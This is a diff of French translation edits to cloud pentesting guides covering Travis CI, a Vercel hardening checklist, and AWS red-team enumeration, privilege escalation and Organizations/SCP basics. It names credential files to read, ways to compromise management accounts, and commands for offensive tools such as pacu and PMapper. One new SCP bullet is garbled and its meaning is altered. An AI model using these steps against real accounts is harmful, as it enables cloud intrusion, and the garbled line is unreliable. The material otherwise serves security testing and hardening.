1. Une base de données **PostgreSQL11** (ou ultérieure).
2. Une infrastructure pour déployer un cluster Kubernetes ; il peut être déployé dans un cluster de serveurs ou sur une seule machine si nécessaire.
-3. En fonction de votre configuration, vous souhaiterez peut-être déployer et configurer certains des composants par vous-même, par exemple, RabbitMQ - consultez le [Configuration de Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) pour plus de détails.
+3. En fonction de votre configuration, vous souhaiterez peut-être déployer et configurer certains des composants vous-même, par exemple, RabbitMQ - consultez le [Configuration de Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) pour plus de détails.
**Le Worker TCI nécessite les éléments suivants :**
1. Une infrastructure où une image docker contenant le **Worker et une image de build liée peuvent être déployées**.
-2. Une connectivité à certains composants des services de base Travis CI - consultez le [Configuration du Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) pour plus de détails.
+2. Une connectivité à certains composants des services principaux Travis CI - consultez le [Configuration du Worker](https://docs.travis-ci.com/user/enterprise/setting-up-worker/) pour plus de détails.
Le nombre d'images OS de Worker TCI et d'environnement de build déployées déterminera la capacité totale concurrente du déploiement de Travis CI Enterprise dans votre infrastructure.
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 1bc8b9120..139cac6b9 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -6,7 +6,7 @@
Dans Vercel, une **équipe** est l'**environnement** complet qui appartient à un client et un **projet** est une **application**.
-Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur avec la **permission de rôle de visualiseur** ou au moins **la permission de visualiseur de projet sur les projets** à vérifier (au cas où vous n'avez besoin que de vérifier les projets et non la configuration de l'équipe également).
+Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur avec la **permission de rôle de visualiseur** ou au moins **permission de visualiseur de projet sur les projets** à vérifier (au cas où vous n'auriez besoin de vérifier que les projets et non la configuration de l'équipe également).
## Paramètres du projet
@@ -36,7 +36,7 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
- **Risque :** Détournement de domaine, interception de trafic et attaques de phishing.
- **Gestion des certificats SSL/TLS**
- **Mauvaise configuration :** Utilisation de certificats SSL/TLS faibles ou expirés.
-- **Risque :** Vulnérable aux attaques de type homme du milieu (MITM), compromettant l'intégrité et la confidentialité des données.
+- **Risque :** Vulnérabilité aux attaques de type homme du milieu (MITM), compromettant l'intégrité et la confidentialité des données.
- **Mise en œuvre de DNSSEC**
- **Mauvaise configuration :** Échec de l'activation de DNSSEC ou paramètres DNSSEC incorrects.
- **Risque :** Sensibilité accrue au spoofing DNS et aux attaques de poisoning de cache.
@@ -86,7 +86,7 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
#### Configurations de sécurité :
- **Étape de build ignorée (TODO)**
-- **Mauvaise configuration :** Il semble que cette option permette de configurer un script/commandes bash qui seront exécutés lorsqu'un nouveau commit est poussé dans Github, ce qui pourrait permettre RCE.
+- **Mauvaise configuration :** Il semble que cette option permette de configurer un script/commandes bash qui seront exécutés lorsqu'un nouveau commit est poussé sur Github, ce qui pourrait permettre RCE.
- **Risque :** À déterminer
---
@@ -103,7 +103,7 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
- **Intégrations sur-autorisation**
- **Mauvaise configuration :** Accorder des permissions excessives aux services intégrés.
- **Risque :** Accès non autorisé aux ressources du projet, manipulation de données ou interruptions de service.
-- **Absence de surveillance des intégrations**
+- **Manque de surveillance des intégrations**
- **Mauvaise configuration :** Échec de la surveillance et de l'audit des intégrations tierces.
- **Risque :** Détection retardée des intégrations compromises, augmentant l'impact potentiel des violations de sécurité.
@@ -118,7 +118,7 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
**Authentification Vercel**
- **Mauvaise configuration :** Désactiver l'authentification ou ne pas appliquer de vérifications des membres de l'équipe.
-- **Risque :** Des utilisateurs non autorisés peuvent accéder aux déploiements, entraînant des violations de données ou un abus de l'application.
+- **Risque :** Des utilisateurs non autorisés peuvent accéder aux déploiements, entraînant des violations de données ou un usage abusif de l'application.
**Contournement de protection pour l'automatisation**
@@ -215,7 +215,7 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
- **Mauvaise configuration :** Autoriser des demandes de tirage non autorisées sans examens appropriés.
- **Risque :** Du code malveillant peut être fusionné dans la base de code, introduisant des vulnérabilités ou des portes dérobées.
-**Accès backend sécurisé avec fédération OIDC**
+**Accès sécurisé au backend avec fédération OIDC**
- **Mauvaise configuration :** Configuration incorrecte des paramètres OIDC ou utilisation d'URL d'émetteur non sécurisées.
- **Risque :** Accès non autorisé aux services backend via des flux d'authentification défectueux.
@@ -234,13 +234,13 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
### Avancé
-**Objectif :** Accès à des paramètres de projet supplémentaires pour peaufiner les configurations et améliorer la sécurité.
+**Objectif :** Accès à des paramètres de projet supplémentaires pour affiner les configurations et améliorer la sécurité.
#### Configurations de sécurité :
-**Liste de répertoires**
+**Liste des répertoires**
-- **Mauvaise configuration :** Activer la liste de répertoires permet aux utilisateurs de voir le contenu des répertoires sans fichier d'index.
+- **Mauvaise configuration :** Activer la liste des répertoires permet aux utilisateurs de voir le contenu des répertoires sans fichier d'index.
- **Risque :** Exposition de fichiers sensibles, de la structure de l'application et de points d'entrée potentiels pour des attaques.
---
@@ -310,7 +310,7 @@ Pour un examen de durcissement de **Vercel**, vous devez demander un utilisateur
- **Mauvaise configuration :** Un attaquant pourrait maintenir sa persistance en invitant un compte qu'il contrôle
- **Risque :** Persistance de l'attaquant
- **Rôles**
-- **Mauvaise configuration :** Accorder trop de permissions à des personnes qui n'en ont pas besoin augmente le risque de la configuration de Vercel. Vérifiez tous les rôles possibles sur [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
+- **Mauvaise configuration :** Accorder trop de permissions à des personnes qui n'en ont pas besoin augmente le risque de la configuration de Vercel. Vérifiez tous les rôles possibles dans [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles)
- **Risque :** Augmente l'exposition de l'équipe Vercel
---
@@ -323,7 +323,7 @@ Un **Groupe d'accès** dans Vercel est une collection de projets et de membres d
- **Sur-autorisation des membres :** Attribuer des rôles avec plus de permissions que nécessaire, entraînant un accès ou des actions non autorisées.
- **Attributions de rôles incorrectes :** Attribuer incorrectement des rôles qui ne correspondent pas aux responsabilités des membres de l'équipe, provoquant une élévation de privilèges.
-- **Absence de séparation des projets :** Échec de la séparation des projets sensibles, permettant un accès plus large que prévu.
+- **Manque de séparation des projets :** Échec de la séparation des projets sensibles, permettant un accès plus large que prévu.
- **Gestion de groupe insuffisante :** Ne pas examiner ou mettre à jour régulièrement les groupes d'accès, entraînant des permissions d'accès obsolètes ou inappropriées.
- **Définitions de rôles incohérentes :** Utilisation de définitions de rôles incohérentes ou peu claires à travers différents groupes d'accès, entraînant confusion et lacunes de sécurité.
@@ -349,12 +349,12 @@ Un **Groupe d'accès** dans Vercel est une collection de projets et de membres d
- Utiliser un domaine email commun (par exemple, `gmail.com`, `hotmail.com`) au lieu d'un domaine spécifique à l'entreprise.
- **Risques :**
- **Accès non autorisé :** Des utilisateurs avec des adresses email de domaines non prévus peuvent recevoir des invitations à rejoindre votre équipe.
-- **Exposition des données :** Exposition potentielle d'informations sensibles sur le projet à des individus non autorisés.
-- **Scopes Git protégés :** Vous permet d'ajouter jusqu'à 5 scopes Git à votre équipe pour empêcher d'autres équipes Vercel de déployer des dépôts à partir du scope protégé. Plusieurs équipes peuvent spécifier le même scope, permettant l'accès aux deux équipes.
-- **Mauvaise configuration :** Ne pas ajouter des scopes Git critiques à la liste protégée.
+- **Exposition des données :** Exposition potentielle d'informations sensibles du projet à des individus non autorisés.
+- **Scopes Git protégés :** Vous permet d'ajouter jusqu'à 5 scopes Git à votre équipe pour empêcher d'autres équipes Vercel de déployer des dépôts à partir du scope protégé. Plusieurs équipes peuvent spécifier le même scope, permettant aux deux équipes d'accéder.
+- **Mauvaise configuration :** Ne pas ajouter de scopes Git critiques à la liste protégée.
- **Risques :**
- **Déploiements non autorisés :** D'autres équipes peuvent déployer des dépôts à partir des scopes Git de votre organisation sans autorisation.
-- **Exposition de la propriété intellectuelle :** Du code propriétaire pourrait être déployé et accessible en dehors de votre équipe.
+- **Exposition de propriété intellectuelle :** Du code propriétaire pourrait être déployé et accessible en dehors de votre équipe.
- **Politiques de variables d'environnement :** Applique des politiques pour la création et l'édition des variables d'environnement de l'équipe. En particulier, vous pouvez imposer que toutes les variables d'environnement soient créées en tant que **Variables d'environnement sensibles**, qui ne peuvent être décryptées que par le système de déploiement de Vercel.
- **Mauvaise configuration :** Garder la mise en application des variables d'environnement sensibles désactivée.
- **Risques :**
@@ -364,8 +364,8 @@ Un **Groupe d'accès** dans Vercel est une collection de projets et de membres d
- **Mauvaise configuration :**\
Accorder l'accès aux journaux d'audit à des membres d'équipe non autorisés.
- **Risques :**
-- **Violations de la vie privée :** Exposition d'activités et de données sensibles des utilisateurs.
-- **Altération des journaux :** Des acteurs malveillants pourraient modifier ou supprimer des journaux pour dissimuler leurs traces.
+- **Violations de la vie privée :** Exposition d'activités et de données utilisateur sensibles.
+- **Altération des journaux :** Des acteurs malveillants pourraient modifier ou supprimer des journaux pour couvrir leurs traces.
- **SAML Single Sign-On :** Permet la personnalisation de l'authentification SAML et de la synchronisation des annuaires pour votre équipe, permettant l'intégration avec un fournisseur d'identité (IdP) pour une authentification et une gestion des utilisateurs centralisées.
- **Mauvaise configuration :** Un attaquant pourrait créer une porte dérobée dans les paramètres de l'équipe en configurant des paramètres SAML tels que l'ID d'entité, l'URL SSO ou les empreintes de certificat.
- **Risque :** Maintenir la persistance
@@ -374,8 +374,8 @@ Accorder l'accès aux journaux d'audit à des membres d'équipe non autorisés.
- **Risques :**
- **Violations de la vie privée :** Non-conformité aux réglementations sur la protection des données comme le RGPD.
- **Répercussions légales :** Amendes et pénalités potentielles pour mauvaise gestion des données personnelles.
-- **Blocage IP :** Permet la configuration des adresses IP et des plages CIDR à partir desquelles Vercel doit bloquer les demandes. Les demandes bloquées ne contribuent pas à votre facturation.
-- **Mauvaise configuration :** Pourrait être abusée par un attaquant pour permettre un trafic malveillant ou bloquer un trafic légitime.
+- **Blocage IP :** Permet la configuration des adresses IP et des plages CIDR que Vercel doit bloquer. Les requêtes bloquées ne contribuent pas à votre facturation.
+- **Mauvaise configuration :** Pourrait être abusé par un attaquant pour permettre un trafic malveillant ou bloquer un trafic légitime.
- **Risques :**
- **Refus de service aux utilisateurs légitimes :** Blocage d'accès pour des utilisateurs ou partenaires valides.
- **Perturbations opérationnelles :** Perte de disponibilité de service pour certaines régions ou clients.
@@ -394,8 +394,8 @@ Accorder l'accès aux journaux d'audit à des membres d'équipe non autorisés.
2. **Blocs CIDR qui se chevauchent**
- **Mauvaise configuration :** Sélectionner des blocs CIDR qui se chevauchent avec des VPC existants ou d'autres réseaux.
- **Risque :** Conflits de réseau entraînant des connexions échouées, un accès non autorisé ou des fuites de données entre les réseaux.
-3. **Configuration de peering VPC incorrecte**
-- **Mauvaise configuration :** Configuration incorrecte du peering VPC (par exemple, mauvais IDs de VPC, mises à jour incomplètes de la table de routage).
+3. **Configuration incorrecte du peering VPC**
+- **Mauvaise configuration :** Configuration incorrecte du peering VPC (par exemple, mauvais ID de VPC, mises à jour incomplètes de la table de routage).
- **Risque :** Accès non autorisé à l'infrastructure backend, connexions sécurisées échouées et violations potentielles de données.
4. **Attributions de projet excessives**
- **Mauvaise configuration :** Attribuer plusieurs projets à un seul réseau Secure Compute sans isolation appropriée.
@@ -413,8 +413,8 @@ Accorder l'accès aux journaux d'audit à des membres d'équipe non autorisés.
- **Mauvaise configuration :** Ne pas configurer de régions de basculement passives ou configurer incorrectement les paramètres de basculement.
- **Risque :** Temps d'arrêt du service lors des pannes de la région principale, entraînant une disponibilité réduite et une incohérence potentielle des données.
9. **Dépassement des limites de connexion de peering VPC**
-- **Mauvaise configuration :** Essayer d'établir plus de connexions de peering VPC que la limite autorisée (par exemple, dépasser 50 connexions).
-- **Risque :** Incapacité à connecter en toute sécurité les services backend nécessaires, causant des échecs de déploiement et des perturbations opérationnelles.
+- **Mauvaise configuration :** Tenter d'établir plus de connexions de peering VPC que la limite autorisée (par exemple, dépasser 50 connexions).
+- **Risque :** Incapacité à connecter en toute sécurité les services backend nécessaires, provoquant des échecs de déploiement et des perturbations opérationnelles.
10. **Paramètres réseau non sécurisés**
- **Mauvaise configuration :** Règles de pare-feu faibles, absence de cryptage ou segmentation réseau inappropriée au sein du réseau Secure Compute.
- **Risque :** Interception de données, accès non autorisé aux services backend et vulnérabilité accrue aux attaques.
diff --git a/src/pentesting-cloud/aws-security/README.md b/src/pentesting-cloud/aws-security/README.md
index 4bb746c4f..23541b666 100644
--- a/src/pentesting-cloud/aws-security/README.md
+++ b/src/pentesting-cloud/aws-security/README.md
@@ -41,8 +41,8 @@ Du point de vue d'une Red Team, le **premier pas pour compromettre un environnem
- **Lecture de fichiers locaux**
- `/home/USERNAME/.aws/credentials`
- `C:\Users\USERNAME\.aws\credentials`
-- **Violations** de tiers
-- **Employé** interne
+- **Tiers** compromis
+- Employé **interne**
- [**Cognito** ](aws-services/aws-cognito-enum/#cognito)identifiants
Ou en **compromettant un service non authentifié** exposé :
@@ -100,9 +100,9 @@ aws-services/aws-organizations-enum.md
### Enumeration IAM
-Si vous avez suffisamment de permissions, **vérifier les privilèges de chaque entité à l'intérieur du compte AWS** vous aidera à comprendre ce que vous et d'autres identités pouvez faire et comment **escalader les privilèges**.
+Si vous avez suffisamment de permissions, **vérifier les privilèges de chaque entité dans le compte AWS** vous aidera à comprendre ce que vous et d'autres identités pouvez faire et comment **escalader les privilèges**.
-Si vous n'avez pas suffisamment de permissions pour énumérer IAM, vous pouvez **les voler par bruteforce** pour les découvrir.\
+Si vous n'avez pas assez de permissions pour énumérer IAM, vous pouvez **les voler par bruteforce** pour les découvrir.\
Vérifiez **comment faire l'énumération et le bruteforce** dans :
{{#ref}}
@@ -110,7 +110,7 @@ aws-services/aws-iam-enum.md
{{#endref}}
> [!NOTE]
-> Maintenant que vous **avez des informations sur vos identifiants** (et si vous êtes une équipe rouge, espérons que vous **n'avez pas été détecté**). Il est temps de déterminer quels services sont utilisés dans l'environnement.\
+> Maintenant que vous **avez des informations sur vos identifiants** (et si vous êtes une équipe rouge, espérons que vous **n'avez pas été détecté**). Il est temps de découvrir quels services sont utilisés dans l'environnement.\
> Dans la section suivante, vous pouvez vérifier quelques façons d'**énumérer certains services courants.**
## Enumeration des Services, Post-Exploitation & Persistance
@@ -139,8 +139,8 @@ aws-privilege-escalation/
## Services Exposés Publiquement
-Lors de l'énumération des services AWS, vous pourriez avoir trouvé certains d'entre eux **exposant des éléments à Internet** (ports VM/Containers, bases de données ou services de files d'attente, instantanés ou buckets...).\
-En tant que pentester/équipe rouge, vous devriez toujours vérifier si vous pouvez trouver **des informations sensibles / des vulnérabilités** sur eux car ils pourraient vous fournir **un accès supplémentaire au compte AWS**.
+En énumérant les services AWS, vous pourriez avoir trouvé certains d'entre eux **exposant des éléments à Internet** (ports VM/Containers, bases de données ou services de files d'attente, snapshots ou buckets...).\
+En tant que pentester/équipe rouge, vous devriez toujours vérifier si vous pouvez trouver des **informations sensibles / vulnérabilités** sur eux, car ils pourraient vous fournir **un accès supplémentaire au compte AWS**.
Dans ce livre, vous devriez trouver **des informations** sur comment trouver **des services AWS exposés et comment les vérifier**. Concernant comment trouver **des vulnérabilités dans des services réseau exposés**, je vous recommanderais de **chercher** le **service** spécifique dans :
@@ -150,7 +150,7 @@ https://book.hacktricks.xyz/
## Compromettre l'Organisation
-### Depuis le compte racine/de gestion
+### Depuis le compte racine/gestion
Lorsque le compte de gestion crée de nouveaux comptes dans l'organisation, un **nouveau rôle** est créé dans le nouveau compte, nommé par défaut **`OrganizationAccountAccessRole`** et donnant la politique **AdministratorAccess** au **compte de gestion** pour accéder au nouveau compte.
@@ -159,7 +159,7 @@ Lorsque le compte de gestion crée de nouveaux comptes dans l'organisation, un *
Donc, pour accéder en tant qu'administrateur à un compte enfant, vous devez :
- **Compromettre** le **compte de gestion** et trouver l'**ID** des **comptes enfants** et les **noms** du **rôle** (OrganizationAccountAccessRole par défaut) permettant au compte de gestion d'accéder en tant qu'admin.
-- Pour trouver les comptes enfants, allez dans la section organisations dans la console aws ou exécutez `aws organizations list-accounts`
+- Pour trouver les comptes enfants, allez dans la section des organisations dans la console AWS ou exécutez `aws organizations list-accounts`
- Vous ne pouvez pas trouver le nom des rôles directement, donc vérifiez toutes les politiques IAM personnalisées et recherchez celles permettant **`sts:AssumeRole` sur les comptes enfants précédemment découverts**.
- **Compromettre** un **principal** dans le compte de gestion avec la permission **`sts:AssumeRole` sur le rôle dans les comptes enfants** (même si le compte permet à quiconque du compte de gestion de se faire passer pour, étant un compte externe, des permissions spécifiques `sts:AssumeRole` sont nécessaires).
@@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
-- [**cartography**](https://github.com/lyft/cartography): Cartography est un outil Python qui consolide les actifs d'infrastructure et les relations entre eux dans une vue graphique intuitive alimentée par une base de données Neo4j.
+- [**cartography**](https://github.com/lyft/cartography) : Cartography est un outil Python qui consolide les actifs d'infrastructure et les relations entre eux dans une vue graphique intuitive alimentée par une base de données Neo4j.
```bash
# Install
pip install cartography
@@ -240,7 +240,7 @@ AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-p
### Privesc & Exploitation
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** Découvrez les utilisateurs les plus privilégiés dans l'environnement AWS scanné, y compris les AWS Shadow Admins. Il utilise powershell. Vous pouvez trouver la **définition des politiques privilégiées** dans la fonction **`Check-PrivilegedPolicy`** dans [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1).
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu) : Pacu est un **framework d'exploitation AWS** open-source, conçu pour les tests de sécurité offensive contre les environnements cloud. Il peut **énumérer**, trouver des **mauvais configurations** et **les exploiter**. Vous pouvez trouver la **définition des permissions privilégiées** dans [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) à l'intérieur du dict **`user_escalation_methods`**.
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu) : Pacu est un **framework d'exploitation AWS** open-source, conçu pour les tests de sécurité offensive contre les environnements cloud. Il peut **énumérer**, trouver des **mauvais configurations** et **les exploiter**. Vous pouvez trouver la **définition des permissions privilégiées** dans [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) à l'intérieur du dict **`user_escalation_methods`**.
- Notez que pacu **vérifie uniquement vos propres chemins de privesc** (pas à l'échelle du compte).
```bash
# Install
@@ -255,7 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) est un script et une bibliothèque pour identifier les risques dans la configuration de la gestion des identités et des accès (IAM) d'un compte AWS ou d'une organisation AWS. Il modélise les différents utilisateurs et rôles IAM dans un compte sous forme de graphe orienté, ce qui permet de vérifier les **escalades de privilèges** et les chemins alternatifs qu'un attaquant pourrait emprunter pour accéder à une ressource ou à une action dans AWS. Vous pouvez vérifier les **permissions utilisées pour trouver des chemins privesc** dans les fichiers se terminant par `_edges.py` dans [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
+- [**PMapper**](https://github.com/nccgroup/PMapper) : Principal Mapper (PMapper) est un script et une bibliothèque pour identifier les risques dans la configuration de la gestion des identités et des accès AWS (IAM) pour un compte AWS ou une organisation AWS. Il modélise les différents utilisateurs et rôles IAM dans un compte sous forme de graphe orienté, ce qui permet de vérifier les **élévations de privilèges** et les chemins alternatifs qu'un attaquant pourrait emprunter pour accéder à une ressource ou à une action dans AWS. Vous pouvez vérifier les **permissions utilisées pour trouver des chemins de privesc** dans les fichiers se terminant par `_edges.py` dans [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
```bash
# Install
pip install principalmapper
@@ -277,7 +277,7 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining est un outil d'évaluation de la sécurité AWS IAM qui identifie les violations du principe du moindre privilège et génère un rapport HTML priorisé par risque.\
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining) : Cloudsplaining est un outil d'évaluation de la sécurité AWS IAM qui identifie les violations du principe du moindre privilège et génère un rapport HTML priorisé par risque.\
Il vous montrera les clients **trop privilégiés**, les **politiques** en ligne et AWS et quels **principaux y ont accès**. (Il vérifie non seulement les privesc mais aussi d'autres types de permissions intéressantes, recommandé à utiliser).
```bash
# Install
@@ -290,9 +290,9 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack évalue les comptes AWS pour des **vulnérabilités de détournement de sous-domaine** en raison de configurations déconnectées de Route53 et CloudFront.
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): Lister les dépôts ECR -> Tirer le dépôt ECR -> Installer un backdoor -> Pousser l'image avec backdoor
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag est un outil qui **cherche** à travers les snapshots publics d'Elastic Block Storage (**EBS**) des secrets qui ont pu être accidentellement laissés.
+- [**cloudjack**](https://github.com/prevade/cloudjack) : CloudJack évalue les comptes AWS pour des **vulnérabilités de détournement de sous-domaine** en raison de configurations déconnectées de Route53 et CloudFront.
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat) : Lister les dépôts ECR -> Tirer le dépôt ECR -> Y insérer une porte dérobée -> Pousser l'image avec porte dérobée
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag) : Dufflebag est un outil qui **cherche** à travers les instantanés publics d'Elastic Block Storage (**EBS**) des secrets qui ont pu être accidentellement laissés.
### Audit
@@ -303,7 +303,7 @@ cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /
# Compiance options: --compliance {hipaa,cis,cis1,cis2,pci}
## use "cis" for cis level 1 and 2
```
-- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler est un outil de sécurité Open Source pour effectuer des évaluations des meilleures pratiques de sécurité AWS, des audits, des réponses aux incidents, une surveillance continue, un durcissement et une préparation à la criminalistique.
+- [**Prowler**](https://github.com/prowler-cloud/prowler) : Prowler est un outil de sécurité Open Source pour effectuer des évaluations des meilleures pratiques de sécurité AWS, des audits, des réponses aux incidents, une surveillance continue, un durcissement et une préparation à la criminalistique.
```bash
# Install python3, jq and git
# Install
@@ -314,11 +314,11 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox vous aide à acquérir une conscience situationnelle dans des environnements cloud inconnus. C'est un outil en ligne de commande open source créé pour aider les testeurs de pénétration et d'autres professionnels de la sécurité offensive à trouver des chemins d'attaque exploitables dans l'infrastructure cloud.
+- [**CloudFox**](https://github.com/BishopFox/cloudfox) : CloudFox vous aide à acquérir une conscience situationnelle dans des environnements cloud inconnus. C'est un outil en ligne de commande open source créé pour aider les testeurs de pénétration et d'autres professionnels de la sécurité offensive à trouver des chemins d'attaque exploitables dans l'infrastructure cloud.
```bash
cloudfox aws --profile [profile-name] all-checks
```
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite est un outil d'audit de sécurité multi-cloud open source, qui permet l'évaluation de la posture de sécurité des environnements cloud.
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite) : Scout Suite est un outil d'audit de sécurité multi-cloud open source, qui permet l'évaluation de la posture de sécurité des environnements cloud.
```bash
# Install
virtualenv -p python3 venv
@@ -334,7 +334,7 @@ scout aws -p dev
### Audit Constant
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian est un moteur de règles pour gérer les comptes et ressources de cloud public. Il permet aux utilisateurs de **définir des politiques pour activer une infrastructure cloud bien gérée**, à la fois sécurisée et optimisée en coûts. Il consolide de nombreux scripts ad hoc que les organisations ont en un outil léger et flexible, avec des métriques et des rapports unifiés.
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian est un moteur de règles pour gérer les comptes et ressources de cloud public. Il permet aux utilisateurs de **définir des politiques pour permettre une infrastructure cloud bien gérée**, à la fois sécurisée et optimisée en coûts. Il consolide de nombreux scripts ad hoc que les organisations ont en un outil léger et flexible, avec des métriques et des rapports unifiés.
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** est une plateforme pour **la surveillance continue de la conformité, le reporting de conformité et l'automatisation de la sécurité pour le clou**d. Dans PacBot, les politiques de sécurité et de conformité sont mises en œuvre sous forme de code. Toutes les ressources découvertes par PacBot sont évaluées par rapport à ces politiques pour mesurer la conformité aux politiques. Le cadre **auto-fix** de PacBot offre la possibilité de répondre automatiquement aux violations de politiques en prenant des actions prédéfinies.
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert est un cadre d'analyse de données **en temps réel** sans serveur qui vous permet de **ingérer, analyser et alerter** sur des données provenant de n'importe quel environnement, **en utilisant des sources de données et une logique d'alerte que vous définissez**. Les équipes de sécurité informatique utilisent StreamAlert pour scanner des téraoctets de données de journal chaque jour pour la détection et la réponse aux incidents.
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index 09a69b37a..bf14fb4e6 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -22,7 +22,7 @@ Par conséquent, il y a **deux types de comptes dans une organisation** (nous pa
- Gérer les invitations
- Appliquer des politiques aux entités (roots, OUs ou comptes) au sein de l'organisation
- Activer l'intégration avec les services AWS pris en charge pour fournir des fonctionnalités de service à tous les comptes de l'organisation.
-- Il est possible de se connecter en tant qu'utilisateur root en utilisant l'email et le mot de passe utilisés pour créer ce compte root/organisation.
+- Il est possible de se connecter en tant qu'utilisateur root en utilisant l'email et le mot de passe utilisés pour créer ce compte/organisation root.
Le compte de gestion a les **responsabilités d'un compte payeur** et est responsable du paiement de tous les frais accumulés par les comptes membres. Vous ne pouvez pas changer le compte de gestion d'une organisation.
@@ -43,7 +43,7 @@ aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
Une **service control policy (SCP)** est une politique qui spécifie les services et actions que les utilisateurs et rôles peuvent utiliser dans les comptes que la SCP affecte. Les SCP sont **similaires aux politiques de permissions IAM** sauf qu'elles **ne donnent aucune permission**. Au lieu de cela, les SCP spécifient les **permissions maximales** pour une organisation, une unité organisationnelle (OU) ou un compte. Lorsque vous attachez une SCP à la racine de votre organisation ou à une OU, la **SCP limite les permissions pour les entités dans les comptes membres**.
C'est le SEUL moyen par lequel **même l'utilisateur root peut être arrêté** de faire quelque chose. Par exemple, cela pourrait être utilisé pour empêcher les utilisateurs de désactiver CloudTrail ou de supprimer des sauvegardes.\
-Le seul moyen de contourner cela est de compromettre également le **compte principal** qui configure les SCP (le compte principal ne peut pas être bloqué).
+Le seul moyen de contourner cela est de compromettre également le **compte maître** qui configure les SCP (le compte maître ne peut pas être bloqué).
> [!WARNING]
> Notez que **les SCP ne restreignent que les principaux dans le compte**, donc d'autres comptes ne sont pas affectés. Cela signifie qu'avoir une SCP qui refuse `s3:GetObject` n'arrêtera pas les gens d'**accéder à un bucket S3 public** dans votre compte.
@@ -53,10 +53,14 @@ Exemples de SCP :
- Refuser complètement le compte root
- Autoriser uniquement des régions spécifiques
- Autoriser uniquement des services sur liste blanche
-- Refuser que GuardDuty, CloudTrail et S3 Public Block Access soient désactivés
-- Refuser que les rôles de sécurité/réponse aux incidents soient supprimés ou modifiés.
-- Refuser que les sauvegardes soient supprimées.
-- Refuser de créer des utilisateurs IAM et des clés d'accès
+- Refuser l'accès à GuardDuty, CloudTrail et S3 Public Block Access de
+
+être désactivé
+
+- Refuser la suppression ou la modification des rôles de sécurité/réponse aux incidents.
+
+- Refuser la suppression des sauvegardes.
+- Refuser la création d'utilisateurs IAM et de clés d'accès
Trouvez des **exemples JSON** dans [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
@@ -111,7 +115,7 @@ Chaque fois que vous devez **changer la clé d'accès**, voici le processus que
